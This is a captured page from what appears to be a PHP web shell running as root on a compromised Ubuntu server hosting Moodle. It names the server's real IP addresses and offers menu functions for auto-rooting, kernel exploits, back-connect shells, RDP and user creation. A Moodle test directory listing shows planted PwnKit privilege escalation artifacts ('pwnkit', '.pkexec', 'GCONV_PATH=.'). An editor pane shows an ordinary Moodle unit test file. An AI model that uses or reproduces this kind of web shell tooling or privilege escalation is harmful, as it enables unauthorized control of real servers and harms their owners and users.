Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxrwxrwx
event
[ DIR ]
drwxrwxrwx
external
[ DIR ]
drwxrwxrwx
fixtures
[ DIR ]
drwxrwxrwx
other
[ DIR ]
drwxrwxrwx
output
[ DIR ]
drwxrwxrwx
performance
[ DIR ]
drwxrwxrwx
plugininfo
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
accesslib_has_capability_test....
29.73
KB
-rwxrwxrwx
accesslib_test.php
215.78
KB
-rwxrwxrwx
adhoc_task_test.php
17.03
KB
-rwxrwxrwx
adminlib_test.php
2.82
KB
-rwxrwxrwx
admintree_test.php
17.22
KB
-rwxrwxrwx
ajaxlib_test.php
4.35
KB
-rwxrwxrwx
analysers_test.php
13.35
KB
-rwxrwxrwx
antivirus_test.php
3.79
KB
-rwxrwxrwx
authlib_test.php
19.89
KB
-rwxrwxrwx
blocklib_test.php
35.29
KB
-rwxrwxrwx
calendar_cron_task_test.php
2.68
KB
-rwxrwxrwx
check_test.php
1.97
KB
-rwxrwxrwx
collator_test.php
11.98
KB
-rwxrwxrwx
completion_daily_task_test.php
5.25
KB
-rwxrwxrwx
completionlib_test.php
45.78
KB
-rwxrwxrwx
component_test.php
40.15
KB
-rwxrwxrwx
componentlib_test.php
6.64
KB
-rwxrwxrwx
configonlylib_test.php
6.15
KB
-rwxrwxrwx
core_media_player_native_test....
6.24
KB
-rwxrwxrwx
core_renderer_template_exploit...
16.59
KB
-rwxrwxrwx
coverage.php
1.93
KB
-rwxrwxrwx
cronlib_test.php
6.89
KB
-rwxrwxrwx
csslib_test.php
1.79
KB
-rwxrwxrwx
csvclass_test.php
5.56
KB
-rwxrwxrwx
curl_security_helper_test.php
15.12
KB
-rwxrwxrwx
customcontext_test.php
3.66
KB
-rwxrwxrwx
dataformat_test.php
2.22
KB
-rwxrwxrwx
datalib_test.php
41.83
KB
-rwxrwxrwx
datalib_update_with_unique_ind...
6.31
KB
-rwxrwxrwx
date_legacy_test.php
13.9
KB
-rwxrwxrwx
date_test.php
25.14
KB
-rwxrwxrwx
editorlib_test.php
2.01
KB
-rwxrwxrwx
environment_test.php
8.54
KB
-rwxrwxrwx
event_context_locked_test.php
4.11
KB
-rwxrwxrwx
event_course_module_instance_l...
2.7
KB
-rwxrwxrwx
event_course_module_viewed.php
3.31
KB
-rwxrwxrwx
event_deprecated_test.php
1.49
KB
-rwxrwxrwx
event_grade_deleted_test.php
3.25
KB
-rwxrwxrwx
event_profile_field_test.php
14.52
KB
-rwxrwxrwx
event_test.php
40.63
KB
-rwxrwxrwx
event_unknown_logged_test.php
1.92
KB
-rwxrwxrwx
event_user_graded_test.php
10.06
KB
-rwxrwxrwx
event_user_password_updated_te...
2.89
KB
-rwxrwxrwx
events_test.php
16.17
KB
-rwxrwxrwx
exporter_test.php
10.79
KB
-rwxrwxrwx
externallib_test.php
29.57
KB
-rwxrwxrwx
filelib_test.php
71.2
KB
-rwxrwxrwx
filestorage_zip_archive_test.p...
2.75
KB
-rwxrwxrwx
filetypes_test.php
9.99
KB
-rwxrwxrwx
filter_manager_test.php
3.37
KB
-rwxrwxrwx
filterlib_test.php
35.92
KB
-rwxrwxrwx
formslib_test.php
39.6
KB
-rwxrwxrwx
gdlib_test.php
5.91
KB
-rwxrwxrwx
googlelib_test.php
1.53
KB
-rwxrwxrwx
gradelib_test.php
9.74
KB
-rwxrwxrwx
grades_externallib_test.php
20.79
KB
-rwxrwxrwx
grading_externallib_test.php
26.27
KB
-rwxrwxrwx
grouplib_test.php
84.36
KB
-rwxrwxrwx
h5p_get_content_types_task_tes...
2.69
KB
-rwxrwxrwx
html2text_test.php
7.56
KB
-rwxrwxrwx
html_writer_test.php
8.74
KB
-rwxrwxrwx
htmlpurifier_test.php
22.67
KB
-rwxrwxrwx
indicators_test.php
16.38
KB
-rwxrwxrwx
ip_utils_test.php
14.27
KB
-rwxrwxrwx
jquery_test.php
1.77
KB
-rwxrwxrwx
ldaplib_test.php
17.72
KB
-rwxrwxrwx
licenselib_test.php
11.58
KB
-rwxrwxrwx
lock_config_test.php
3.39
KB
-rwxrwxrwx
lock_test.php
5.54
KB
-rwxrwxrwx
markdown_test.php
2.45
KB
-rwxrwxrwx
mathslib_test.php
11.09
KB
-rwxrwxrwx
medialib_test.php
19.69
KB
-rwxrwxrwx
message_test.php
12.43
KB
-rwxrwxrwx
messageinbound_test.php
5.89
KB
-rwxrwxrwx
messagelib_test.php
56.38
KB
-rwxrwxrwx
minify_test.php
3.13
KB
-rwxrwxrwx
modinfolib_test.php
44.12
KB
-rwxrwxrwx
moodle_page_test.php
29.15
KB
-rwxrwxrwx
moodle_url_test.php
12.85
KB
-rwxrwxrwx
moodlelib_test.php
209.04
KB
-rwxrwxrwx
mustache_template_finder_test....
7.38
KB
-rwxrwxrwx
mustache_template_source_loade...
18.02
KB
-rwxrwxrwx
myprofilelib_test.php
10.7
KB
-rwxrwxrwx
navigationlib_test.php
26.28
KB
-rwxrwxrwx
notification_test.php
4.18
KB
-rwxrwxrwx
oauth2_test.php
9.98
KB
-rwxrwxrwx
output_mustache_helper_collect...
7.41
KB
-rwxrwxrwx
outputcomponents_test.php
28.39
KB
-rwxrwxrwx
outputfactories_test.php
6.8
KB
-rwxrwxrwx
outputrequirementslib_test.php
5.35
KB
-rwxrwxrwx
persistent_test.php
19.44
KB
-rwxrwxrwx
plugin_manager_test.php
27.29
KB
-rwxrwxrwx
portfoliolib_test.php
8.41
KB
-rwxrwxrwx
progress_display_test.php
3.68
KB
-rwxrwxrwx
progress_test.php
14.5
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
qrcode_test.php
1.86
KB
-rwxrwxrwx
questionlib_test.php
96.89
KB
-rwxrwxrwx
regex_test.php
1.88
KB
-rwxrwxrwx
requirejs_test.php
3.7
KB
-rwxrwxrwx
rsslib_test.php
6.88
KB
-rwxrwxrwx
rtlcss_test.php
56.86
KB
-rwxrwxrwx
sample_questions.ser
141.76
KB
-rwxrwxrwx
sample_questions.xml
102.62
KB
-rwxrwxrwx
sample_questions_with_old_imag...
4.85
KB
-rwxrwxrwx
sample_questions_with_old_imag...
4.08
KB
-rwxrwxrwx
sample_questions_wrong.xml
102.57
KB
-rwxrwxrwx
scheduled_task_test.php
24.22
KB
-rwxrwxrwx
scss_test.php
4.48
KB
-rwxrwxrwx
session_manager_test.php
33.96
KB
-rwxrwxrwx
session_redis_test.php
12.34
KB
-rwxrwxrwx
sessionlib_test.php
11.86
KB
-rwxrwxrwx
setuplib_test.php
20.16
KB
-rwxrwxrwx
statslib_test.php
27.19
KB
-rwxrwxrwx
string_manager_standard_test.p...
10.05
KB
-rwxrwxrwx
tablelib_test.php
23.42
KB
-rwxrwxrwx
task_database_logger_test.php
20.13
KB
-rwxrwxrwx
task_logging_test.php
17.26
KB
-rwxrwxrwx
task_manager_test.php
11.19
KB
-rwxrwxrwx
text_test.php
21.09
KB
-rwxrwxrwx
theme_config_test.php
9.41
KB
-rwxrwxrwx
time_splittings_test.php
15.05
KB
-rwxrwxrwx
update_api_test.php
6.75
KB
-rwxrwxrwx
update_checker_test.php
10.92
KB
-rwxrwxrwx
update_code_manager_test.php
9.11
KB
-rwxrwxrwx
update_validator_test.php
18.47
KB
-rwxrwxrwx
upgrade_util_test.php
5.65
KB
-rwxrwxrwx
upgradelib_test.php
69.88
KB
-rwxrwxrwx
user_menu_test.php
3.82
KB
-rwxrwxrwx
user_test.php
32.32
KB
-rwxrwxrwx
useragent_test.php
83.88
KB
-rwxrwxrwx
weblib_format_text_test.php
12.05
KB
-rwxrwxrwx
weblib_test.php
35.07
KB
-rwxrwxrwx
xhprof_test.php
3.32
KB
-rwxrwxrwx
xhtml_container_stack_test.php
4.16
KB
-rwxrwxrwx
xmlize_test.php
2.72
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : moodle_page_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Tests for the moodle_page class. * * @package core * @category phpunit * @copyright 2009 Tim Hunt * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->libdir . '/pagelib.php'); require_once($CFG->libdir . '/blocklib.php'); class core_moodle_page_testcase extends advanced_testcase { /** * @var testable_moodle_page */ protected $testpage; public function setUp() { parent::setUp(); $this->resetAfterTest(); $this->testpage = new testable_moodle_page(); } public function test_course_returns_site_before_set() { global $SITE; // Validated. $this->assertSame($SITE, $this->testpage->course); } public function test_setting_course_works() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $this->testpage->set_context(context_system::instance()); // Avoid trying to set the context. // Exercise SUT. $this->testpage->set_course($course); // Validated. $this->assertEquals($course, $this->testpage->course); } public function test_global_course_and_page_course_are_same_with_global_page() { global $COURSE, $PAGE; // Setup fixture. $course = $this->getDataGenerator()->create_course(); $this->testpage->set_context(context_system::instance()); // Avoid trying to set the context. $PAGE = $this->testpage; // Exercise SUT. $this->testpage->set_course($course); // Validated. $this->assertSame($COURSE, $this->testpage->course); } public function test_global_course_not_changed_with_non_global_page() { global $COURSE; $originalcourse = $COURSE; // Setup fixture. $course = $this->getDataGenerator()->create_course(); $this->testpage->set_context(context_system::instance()); // Avoid trying to set the context. // Exercise SUT. $this->testpage->set_course($course); // Validated. $this->assertSame($originalcourse, $COURSE); } /** * @expectedException coding_exception */ public function test_cannot_set_course_once_theme_set() { // Setup fixture. $this->testpage->force_theme(theme_config::DEFAULT_THEME); $course = $this->getDataGenerator()->create_course(); // Exercise SUT. $this->testpage->set_course($course); } /** * @expectedException coding_exception */ public function test_cannot_set_category_once_theme_set() { // Setup fixture. $this->testpage->force_theme(theme_config::DEFAULT_THEME); // Exercise SUT. $this->testpage->set_category_by_id(123); } /** * @expectedException coding_exception */ public function test_cannot_set_category_once_course_set() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $this->testpage->set_context(context_system::instance()); // Avoid trying to set the context. $this->testpage->set_course($course); // Exercise SUT. $this->testpage->set_category_by_id(123); } public function test_categories_array_empty_for_front_page() { global $SITE; // Setup fixture. $this->testpage->set_context(context_system::instance()); // Avoid trying to set the context. $this->testpage->set_course($SITE); // Exercise SUT and validate. $this->assertEquals(array(), $this->testpage->categories); } public function test_set_state_normal_path() { $course = $this->getDataGenerator()->create_course(); $this->testpage->set_context(context_system::instance()); $this->testpage->set_course($course); $this->assertEquals(moodle_page::STATE_BEFORE_HEADER, $this->testpage->state); $this->testpage->set_state(moodle_page::STATE_PRINTING_HEADER); $this->assertEquals(moodle_page::STATE_PRINTING_HEADER, $this->testpage->state); $this->testpage->set_state(moodle_page::STATE_IN_BODY); $this->assertEquals(moodle_page::STATE_IN_BODY, $this->testpage->state); $this->testpage->set_state(moodle_page::STATE_DONE); $this->assertEquals(moodle_page::STATE_DONE, $this->testpage->state); } /** * @expectedException coding_exception */ public function test_set_state_cannot_skip_one() { // Exercise SUT. $this->testpage->set_state(moodle_page::STATE_IN_BODY); } public function test_header_printed_false_initially() { // Validated. $this->assertFalse($this->testpage->headerprinted); } public function test_header_printed_becomes_true() { $course = $this->getDataGenerator()->create_course(); $this->testpage->set_context(context_system::instance()); $this->testpage->set_course($course); // Exercise SUT. $this->testpage->set_state(moodle_page::STATE_PRINTING_HEADER); $this->testpage->set_state(moodle_page::STATE_IN_BODY); // Validated. $this->assertTrue($this->testpage->headerprinted); } public function test_set_context() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $context = context_course::instance($course->id); // Exercise SUT. $this->testpage->set_context($context); // Validated. $this->assertSame($context, $this->testpage->context); } public function test_pagetype_defaults_to_script() { global $SCRIPT; // Exercise SUT and validate. $SCRIPT = '/index.php'; $this->testpage->initialise_default_pagetype(); $this->assertSame('site-index', $this->testpage->pagetype); } public function test_set_pagetype() { // Exercise SUT. $this->testpage->set_pagetype('a-page-type'); // Validated. $this->assertSame('a-page-type', $this->testpage->pagetype); } public function test_initialise_default_pagetype() { // Exercise SUT. $this->testpage->initialise_default_pagetype('admin/tool/unittest/index.php'); // Validated. $this->assertSame('admin-tool-unittest-index', $this->testpage->pagetype); } public function test_initialise_default_pagetype_fp() { // Exercise SUT. $this->testpage->initialise_default_pagetype('index.php'); // Validated. $this->assertSame('site-index', $this->testpage->pagetype); } public function test_get_body_classes_empty() { // Validated. $this->assertSame('', $this->testpage->bodyclasses); } public function test_get_body_classes_single() { // Exercise SUT. $this->testpage->add_body_class('aclassname'); // Validated. $this->assertSame('aclassname', $this->testpage->bodyclasses); } public function test_get_body_classes() { // Exercise SUT. $this->testpage->add_body_classes(array('aclassname', 'anotherclassname')); // Validated. $this->assertSame('aclassname anotherclassname', $this->testpage->bodyclasses); } public function test_url_to_class_name() { $this->assertSame('example-com', $this->testpage->url_to_class_name('http://example.com')); $this->assertSame('example-com--80', $this->testpage->url_to_class_name('http://example.com:80')); $this->assertSame('example-com--moodle', $this->testpage->url_to_class_name('https://example.com/moodle')); $this->assertSame('example-com--8080--nested-moodle', $this->testpage->url_to_class_name('https://example.com:8080/nested/moodle')); } public function test_set_docs_path() { // Exercise SUT. $this->testpage->set_docs_path('a/file/path'); // Validated. $this->assertSame('a/file/path', $this->testpage->docspath); } public function test_docs_path_defaults_from_pagetype() { // Exercise SUT. $this->testpage->set_pagetype('a-page-type'); // Validated. $this->assertSame('a/page/type', $this->testpage->docspath); } public function test_set_url_root() { global $CFG; // Exercise SUT. $this->testpage->set_url('/'); // Validated. $this->assertSame($CFG->wwwroot . '/', $this->testpage->url->out()); } public function test_set_url_one_param() { global $CFG; // Exercise SUT. $this->testpage->set_url('/mod/quiz/attempt.php', array('attempt' => 123)); // Validated. $this->assertSame($CFG->wwwroot . '/mod/quiz/attempt.php?attempt=123', $this->testpage->url->out()); } public function test_set_url_two_params() { global $CFG; // Exercise SUT. $this->testpage->set_url('/mod/quiz/attempt.php', array('attempt' => 123, 'page' => 7)); // Validated. $this->assertSame($CFG->wwwroot . '/mod/quiz/attempt.php?attempt=123&page=7', $this->testpage->url->out()); } public function test_set_url_using_moodle_url() { global $CFG; // Fixture setup. $url = new moodle_url('/mod/workshop/allocation.php', array('cmid' => 29, 'method' => 'manual')); // Exercise SUT. $this->testpage->set_url($url); // Validated. $this->assertSame($CFG->wwwroot . '/mod/workshop/allocation.php?cmid=29&method=manual', $this->testpage->url->out()); } public function test_set_url_sets_page_type() { // Exercise SUT. $this->testpage->set_url('/mod/quiz/attempt.php', array('attempt' => 123, 'page' => 7)); // Validated. $this->assertSame('mod-quiz-attempt', $this->testpage->pagetype); } public function test_set_url_does_not_change_explicit_page_type() { // Setup fixture. $this->testpage->set_pagetype('a-page-type'); // Exercise SUT. $this->testpage->set_url('/mod/quiz/attempt.php', array('attempt' => 123, 'page' => 7)); // Validated. $this->assertSame('a-page-type', $this->testpage->pagetype); } public function test_set_subpage() { // Exercise SUT. $this->testpage->set_subpage('somestring'); // Validated. $this->assertSame('somestring', $this->testpage->subpage); } public function test_set_heading() { // Exercise SUT. $this->testpage->set_heading('a heading'); // Validated. $this->assertSame('a heading', $this->testpage->heading); } public function test_set_title() { // Exercise SUT. $this->testpage->set_title('a title'); // Validated. $this->assertSame('a title', $this->testpage->title); } public function test_default_pagelayout() { // Exercise SUT and Validate. $this->assertSame('base', $this->testpage->pagelayout); } public function test_set_pagelayout() { // Exercise SUT. $this->testpage->set_pagelayout('type'); // Validated. $this->assertSame('type', $this->testpage->pagelayout); } public function test_setting_course_sets_context() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $context = context_course::instance($course->id); // Exercise SUT. $this->testpage->set_course($course); // Validated. $this->assertSame($context, $this->testpage->context); } public function test_set_category_top_level() { global $DB; // Setup fixture. $cat = $this->getDataGenerator()->create_category(); $catdbrecord = $DB->get_record('course_categories', array('id' => $cat->id)); // Exercise SUT. $this->testpage->set_category_by_id($cat->id); // Validated. $this->assertEquals($catdbrecord, $this->testpage->category); $this->assertSame(context_coursecat::instance($cat->id), $this->testpage->context); } public function test_set_nested_categories() { global $DB; // Setup fixture. $topcat = $this->getDataGenerator()->create_category(); $topcatdbrecord = $DB->get_record('course_categories', array('id' => $topcat->id)); $subcat = $this->getDataGenerator()->create_category(array('parent'=>$topcat->id)); $subcatdbrecord = $DB->get_record('course_categories', array('id' => $subcat->id)); // Exercise SUT. $this->testpage->set_category_by_id($subcat->id); // Validated. $categories = $this->testpage->categories; $this->assertCount(2, $categories); $this->assertEquals($topcatdbrecord, array_pop($categories)); $this->assertEquals($subcatdbrecord, array_pop($categories)); } public function test_cm_null_initially() { // Validated. $this->assertNull($this->testpage->cm); } public function test_set_cm() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); // Exercise SUT. $this->testpage->set_cm($cm); // Validated. $this->assertEquals($cm->id, $this->testpage->cm->id); } /** * @expectedException coding_exception */ public function test_cannot_set_activity_record_before_cm() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); // Exercise SUT. $this->testpage->set_activity_record($forum); } public function test_setting_cm_sets_context() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); // Exercise SUT. $this->testpage->set_cm($cm); // Validated. $this->assertSame(context_module::instance($cm->id), $this->testpage->context); } public function test_activity_record_loaded_if_not_set() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); // Exercise SUT. $this->testpage->set_cm($cm); // Validated. unset($forum->cmid); $this->assertEquals($forum, $this->testpage->activityrecord); } public function test_set_activity_record() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); $this->testpage->set_cm($cm); // Exercise SUT. $this->testpage->set_activity_record($forum); // Validated. unset($forum->cmid); $this->assertEquals($forum, $this->testpage->activityrecord); } /** * @expectedException coding_exception */ public function test_cannot_set_inconsistent_activity_record_course() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); $this->testpage->set_cm($cm); // Exercise SUT. $forum->course = 13; $this->testpage->set_activity_record($forum); } /** * @expectedException coding_exception */ public function test_cannot_set_inconsistent_activity_record_instance() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); $this->testpage->set_cm($cm); // Exercise SUT. $forum->id = 13; $this->testpage->set_activity_record($forum); } public function test_setting_cm_sets_course() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); // Exercise SUT. $this->testpage->set_cm($cm); // Validated. $this->assertEquals($course->id, $this->testpage->course->id); } public function test_set_cm_with_course_and_activity_no_db() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); // This only works without db if we already have modinfo cache // Exercise SUT. $this->testpage->set_cm($cm, $course, $forum); // Validated. $this->assertEquals($cm->id, $this->testpage->cm->id); $this->assertEquals($course->id, $this->testpage->course->id); unset($forum->cmid); $this->assertEquals($forum, $this->testpage->activityrecord); } /** * @expectedException coding_exception */ public function test_cannot_set_cm_with_inconsistent_course() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); // Exercise SUT. $cm->course = 13; $this->testpage->set_cm($cm, $course); } public function test_get_activity_name() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); // Exercise SUT. $this->testpage->set_cm($cm, $course, $forum); // Validated. $this->assertSame('forum', $this->testpage->activityname); } public function test_user_is_editing_on() { // We are relying on the fact that unit tests are always run by admin, to // ensure the user_allows_editing call returns true. // Setup fixture. global $USER; $this->testpage->set_context(context_system::instance()); $this->setAdminUser(); $USER->editing = true; // Validated. $this->assertTrue($this->testpage->user_is_editing()); } public function test_user_is_editing_off() { // We are relying on the fact that unit tests are always run by admin, to // ensure the user_allows_editing call returns true. // Setup fixture. global $USER; $this->testpage->set_context(context_system::instance()); $this->setAdminUser(); $USER->editing = false; // Validated. $this->assertFalse($this->testpage->user_is_editing()); } public function test_default_editing_capabilities() { $this->testpage->set_context(context_system::instance()); $this->setAdminUser(); // Validated. $this->assertEquals(array('moodle/site:manageblocks'), $this->testpage->all_editing_caps()); } public function test_other_block_editing_cap() { $this->testpage->set_context(context_system::instance()); $this->setAdminUser(); // Exercise SUT. $this->testpage->set_blocks_editing_capability('moodle/my:manageblocks'); // Validated. $this->assertEquals(array('moodle/my:manageblocks'), $this->testpage->all_editing_caps()); } public function test_other_editing_cap() { $this->testpage->set_context(context_system::instance()); $this->setAdminUser(); // Exercise SUT. $this->testpage->set_other_editing_capability('moodle/course:manageactivities'); // Validated. $actualcaps = $this->testpage->all_editing_caps(); $expectedcaps = array('moodle/course:manageactivities', 'moodle/site:manageblocks'); $this->assertEquals(array_values($expectedcaps), array_values($actualcaps)); } public function test_other_editing_caps() { $this->testpage->set_context(context_system::instance()); $this->setAdminUser(); // Exercise SUT. $this->testpage->set_other_editing_capability(array('moodle/course:manageactivities', 'moodle/site:other')); // Validated. $actualcaps = $this->testpage->all_editing_caps(); $expectedcaps = array('moodle/course:manageactivities', 'moodle/site:other', 'moodle/site:manageblocks'); $this->assertEquals(array_values($expectedcaps), array_values($actualcaps)); } /** * Test getting a renderer. */ public function test_get_renderer() { global $OUTPUT, $PAGE; $oldoutput = $OUTPUT; $oldpage = $PAGE; $PAGE = $this->testpage; $this->testpage->set_pagelayout('standard'); $this->assertEquals('standard', $this->testpage->pagelayout); // Initialise theme and output for the next tests. $this->testpage->initialise_theme_and_output(); // Check the generated $OUTPUT object is a core renderer. $this->assertInstanceOf('core_renderer', $OUTPUT); // Check we can get a core renderer if we explicitly request one (no component). $this->assertInstanceOf('core_renderer', $this->testpage->get_renderer('core')); // Check we get a CLI renderer if we request a maintenance renderer. The CLI target should take precedence. $this->assertInstanceOf('core_renderer_cli', $this->testpage->get_renderer('core', null, RENDERER_TARGET_MAINTENANCE)); // Check we can get a coures renderer if we explicitly request one (valid component). $this->assertInstanceOf('core_course_renderer', $this->testpage->get_renderer('core', 'course')); // Check a properly invalid component. try { $this->testpage->get_renderer('core', 'monkeys'); $this->fail('Request for renderer with invalid component didn\'t throw expected exception.'); } catch (coding_exception $exception) { $this->assertEquals('monkeys', $exception->debuginfo); } $PAGE = $oldpage; $OUTPUT = $oldoutput; } /** * Tests getting a renderer with a maintenance layout. * * This layout has special hacks in place in order to deliver a "maintenance" renderer. */ public function test_get_renderer_maintenance() { global $OUTPUT, $PAGE; $oldoutput = $OUTPUT; $oldpage = $PAGE; $PAGE = $this->testpage; $this->testpage->set_pagelayout('maintenance'); $this->assertEquals('maintenance', $this->testpage->pagelayout); // Initialise theme and output for the next tests. $this->testpage->initialise_theme_and_output(); // Check the generated $OUTPUT object is a core cli renderer. // It shouldn't be maintenance because there the cli target should take greater precedence. $this->assertInstanceOf('core_renderer_cli', $OUTPUT); // Check we can get a core renderer if we explicitly request one (no component). $this->assertInstanceOf('core_renderer', $this->testpage->get_renderer('core')); // Check we get a CLI renderer if we request a maintenance renderer. The CLI target should take precedence. $this->assertInstanceOf('core_renderer_cli', $this->testpage->get_renderer('core', null, RENDERER_TARGET_MAINTENANCE)); // Check we can get a coures renderer if we explicitly request one (valid component). $this->assertInstanceOf('core_course_renderer', $this->testpage->get_renderer('core', 'course')); try { $this->testpage->get_renderer('core', 'monkeys'); $this->fail('Request for renderer with invalid component didn\'t throw expected exception.'); } catch (coding_exception $exception) { $this->assertEquals('monkeys', $exception->debuginfo); } $PAGE = $oldpage; $OUTPUT = $oldoutput; } public function test_render_to_cli() { global $OUTPUT; $footer = $OUTPUT->footer(); $this->assertEmpty($footer, 'cli output does not have a footer.'); } /** * Validate the theme value depending on the user theme and cohorts. * * @dataProvider get_user_theme_provider */ public function test_cohort_get_user_theme($usertheme, $sitetheme, $cohortthemes, $expected) { global $DB, $PAGE, $USER; $this->resetAfterTest(); // Enable cohort themes. set_config('allowuserthemes', 1); set_config('allowcohortthemes', 1); $systemctx = context_system::instance(); set_config('theme', $sitetheme); // Create user. $user = $this->getDataGenerator()->create_user(array('theme' => $usertheme)); // Create cohorts and add user as member. $cohorts = array(); foreach ($cohortthemes as $cohorttheme) { $cohort = $this->getDataGenerator()->create_cohort(array('contextid' => $systemctx->id, 'name' => 'Cohort', 'idnumber' => '', 'description' => '', 'theme' => $cohorttheme)); $cohorts[] = $cohort; cohort_add_member($cohort->id, $user->id); } // Get the theme and compare to the expected. $this->setUser($user); // Initialise user theme. $USER = get_complete_user_data('id', $user->id); // Initialise site theme. $PAGE->reset_theme_and_output(); $PAGE->initialise_theme_and_output(); $result = $PAGE->theme->name; $this->assertEquals($expected, $result); } /** * Some user cases for validating the expected theme depending on the cohorts, site and user values. * * The result is an array of: * 'User case description' => [ * 'usertheme' => '', // User theme. * 'sitetheme' => '', // Site theme. * 'cohorts' => [], // Cohort themes. * 'expected' => '', // Expected value returned by cohort_get_user_cohort_theme. * ] * * @return array */ public function get_user_theme_provider() { return [ 'User not a member of any cohort' => [ 'usertheme' => '', 'sitetheme' => 'boost', 'cohorts' => [], 'expected' => 'boost', ], 'User member of one cohort which has a theme set' => [ 'usertheme' => '', 'sitetheme' => 'boost', 'cohorts' => [ 'classic', ], 'expected' => 'classic', ], 'User member of one cohort which has a theme set, and one without a theme' => [ 'usertheme' => '', 'sitetheme' => 'boost', 'cohorts' => [ 'classic', '', ], 'expected' => 'classic', ], 'User member of one cohort which has a theme set, and one with a different theme' => [ 'usertheme' => '', 'sitetheme' => 'boost', 'cohorts' => [ 'classic', 'someother', ], 'expected' => 'boost', ], 'User with a theme but not a member of any cohort' => [ 'usertheme' => 'classic', 'sitetheme' => 'boost', 'cohorts' => [], 'expected' => 'classic', ], 'User with a theme and member of one cohort which has a theme set' => [ 'usertheme' => 'classic', 'sitetheme' => 'boost', 'cohorts' => [ 'boost', ], 'expected' => 'classic', ], ]; } } /** * Test-specific subclass to make some protected things public. */ class testable_moodle_page extends moodle_page { public function initialise_default_pagetype($script = null) { parent::initialise_default_pagetype($script); } public function url_to_class_name($url) { return parent::url_to_class_name($url); } public function all_editing_caps() { return parent::all_editing_caps(); } }
Close